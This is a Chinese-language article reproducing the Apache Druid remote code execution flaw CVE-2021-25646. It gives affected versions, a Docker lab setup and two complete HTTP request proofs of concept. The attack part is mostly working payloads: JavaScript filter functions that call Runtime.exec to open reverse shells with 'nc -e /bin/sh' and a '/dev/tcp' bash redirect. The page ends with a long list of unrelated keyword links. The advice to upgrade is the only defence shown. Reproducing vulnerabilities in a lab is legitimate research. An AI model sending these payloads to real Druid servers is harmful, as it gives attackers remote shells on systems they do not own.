怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现
发表于:2024-10-12 作者:千家信息网编辑
千家信息网最后更新 2024年10月12日,怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。一、
千家信息网最后更新 2024年10月12日怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现
怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。
一、漏洞概要
Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。
Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。
二、影响范围
影响版本: Apache Druid < 0.20.1
安全版本: Apache Druid 0.20.1
三、环境搭建
https://github.com/apache/druid/
https://druid.apache.org/docs/latest/tutorials/index.html
下载0.19版本
https://github.com/apache/druid/releases/tag/druid-0.19.0
解压
cd druid-druid-0.19.0-rc1\distribution\docker
docker-compose up -d
打开 http://192.168.123.10:8888
四、漏洞复现
Poc1:通用
POST /druid/indexer/v1/sampler HTTP/1.1Host: 192.168.123.10:8888Accept: application/json, text/plain, */*DNT: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36Referer: http://192.168.123.10:8888/unified-console.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-Type: application/jsonConnection: closeContent-Length: 1007{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.123.10 5555 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
注意:因为是docker环境没有bash,这里直接采用nc -e反弹
Poc2:通用
POST /druid/indexer/v1/sampler?for=example-manifest HTTP/1.1Host: 0.0.0.0:8888Content-Length: 1005Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36DNT: 1Content-Type: application/json;charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript", "function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/0.0.0.0/5555 0>&1')}", "dimension": "added", "": { "enabled": "true" } } } },"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}
五、修复建议
升级至安全版本及其以上。
关于怎么进行Apache Druid 远程代码执行漏洞CVE-2021-25646复现问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注行业资讯频道了解更多相关知识。
漏洞
版本
代码
数据
问题
安全
更多
环境
帮助
影响
解答
易行
简单易行
事件
内容
分布式
小伙
小伙伴
建议
情况
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
工行软件开发中心面经
django连接多个数据库
顺义区运营网络技术概况
服务器端口独占
怎么看中控数据库
数据库最好的安全问题
张敏网络安全
水利部网络安全工作总结
什么叫做服务器域名
手机服务器为什么会繁忙
网络安全主机探测
网络安全部署(第2版)答案
可视对讲服务器套什么定额
小学四年级手机网络安全
加强网络安全信息 工作
网络技术编码
吉大正元服务器管理ip
建立数据库表是一个字段
网络安全杀毒命令批处理
python登录 数据库
简单版软件开发合同模板
域名根服务器这是谁管理的
ps数据库怎么写
mc服务器开了卡不卡
沈阳奥林软件开发有限公司
怎么数据库备份文件没后缀
计算机专业里游戏软件开发
安徽营销软件开发流程
奥瑞克数据库常用用户名和密码
班级网络安全策划书